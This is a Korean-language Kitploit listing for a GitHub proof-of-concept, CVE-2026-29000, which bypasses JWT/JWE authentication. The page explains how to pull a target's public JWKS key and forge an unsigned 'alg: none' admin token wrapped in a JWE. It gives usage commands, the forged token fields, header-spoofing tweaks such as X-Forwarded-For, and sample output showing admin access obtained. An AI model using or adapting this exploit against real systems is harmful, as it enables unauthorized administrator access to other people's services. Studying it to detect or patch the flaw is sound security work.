Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29000 — CVE-2026-29000의 PoC | Kitploit
도구/GitHubGitHub/zf-tm/cve-2026-29000
Authentication & AuthorizationEncryption/Decryption ToolsVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

CVE-2026-29000의 PoC

저장소 보기
1144개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

JWT/JWE 인증 우회 PoC

JWT(JSON Web Token)와 JWE(JSON Web Encryption)를 사용하여 인증 우회 취약점을 시연하는 PoC(Proof-of-Concept) 스크립트입니다. 이 도구는 토큰 알고리즘을 부적절하게 검증하여 유효한 JWE 구조에 래핑된 검증되지 않은 JWT(alg: none)를 수락하는 환경을 악용합니다.

작동 방식

이 공격 체인은 일반적인 암호화 구현 결함을 이용합니다.

  1. 키 추출: 스크립트는 대상의 공개적으로 노출된 jwks(JSON Web Key Set) 엔드포인트에 연결하여 서버의 공개 RSA 키를 다운로드합니다.
  2. 토큰 위조: ROLE_ADMIN 권한을 부여하는 가짜이고 검증되지 않은 JWT 페이로드를 제작합니다. 의도적으로 알고리즘 헤더를 "alg": "none"으로 설정합니다.
  3. JWE 래핑: 평문 또는 검증되지 않은 토큰을 거부할 수 있는 초기 보안 필터를 우회하기 위해, 서버의 자체 공개 키를 사용하여 가짜 JWT를 암호화하고 이를 유효한 JWE로 패킹합니다.
  4. 인증: 위조된 JWE가 Authorization: Bearer 헤더를 통해 대상의 보호된 대시보드로 전송됩니다. 서버가 JWE를 복호화하고 서명을 검증하지 않고 내부 JWT를 맹목적으로 신뢰하면 접근이 허용됩니다.

사전 요구 사항

스크립트를 실행하기 전에 필요한 종속성과 함께 Python 3이 설치되어 있는지 확인하세요.

pip install requests jwcrypto

사용법

스크립트에는 두 개의 인수가 필요합니다: 테스트하려는 대상 대시보드 URL과 공개 키가 호스팅되는 URL입니다.

python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

익스플로잇 사용자 정의

대상에 따라 특정 필터를 우회하기 위해 토큰 구조 또는 HTTP 요청을 조정해야 할 수 있습니다.

  1. 내부 JWT 헤더 및 페이로드 사용자 정의

대상 서버가 JWT 내부에 특정 필드(예: typ 헤더 또는 페이로드의 사용자 지정 사용자 ID)를 요구하는 경우, 쉽게 추가할 수 있습니다.

exploit.py를 열고 다음 섹션을 찾으세요:

token_header_information = {
    "alg": "none"
}
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

원하는 필드를 쉼표로 구분하여 추가할 수 있습니다. 예를 들어, JWT 헤더에 typ(유형)과 kid(키 ID)를 추가하고 페이로드에 사용자 지정 이메일을 추가하려면:

token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. HTTP 헤더 사용자 정의

대상이 특정 네트워크 헤더(예: 사용자 지정 User-Agent, X-Forwarded-For와 같은 우회 헤더 또는 API 키)를 요구하는 경우, 스크립트 하단의 네트워크 요청을 찾으세요:

custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

다음과 같이 추가 네트워크 헤더를 추가하세요:

custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

참고: 초기 공개 키 다운로드 중에도 이러한 헤더를 전송해야 하는 경우, 동일한 사전을 스크립트 상단의 requests.get() 호출에 전달할 수 있습니다.

예상 출력

성공하면 스크립트는 위조된 토큰과 제한된 엔드포인트의 파싱된 응답을 출력하여 우회를 입증합니다:

Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

문제 해결

  • HTTP 401/403 오류: 대상 서버가 서명을 올바르게 검증하고 alg: none 페이로드를 거부하고 있습니다. 대상이 안전하므로 익스플로잇이 실패했습니다.

  • 연결 오류: 제공된 URL에 전체 체계(http:// 또는 https://)가 포함되어 있고 대상 서버에 현재 연결할 수 있는지 확인하세요.

  • 종속성 오류: jwcrypto가 pip를 통해 제대로 설치되었는지 확인하세요.

도구 다운로드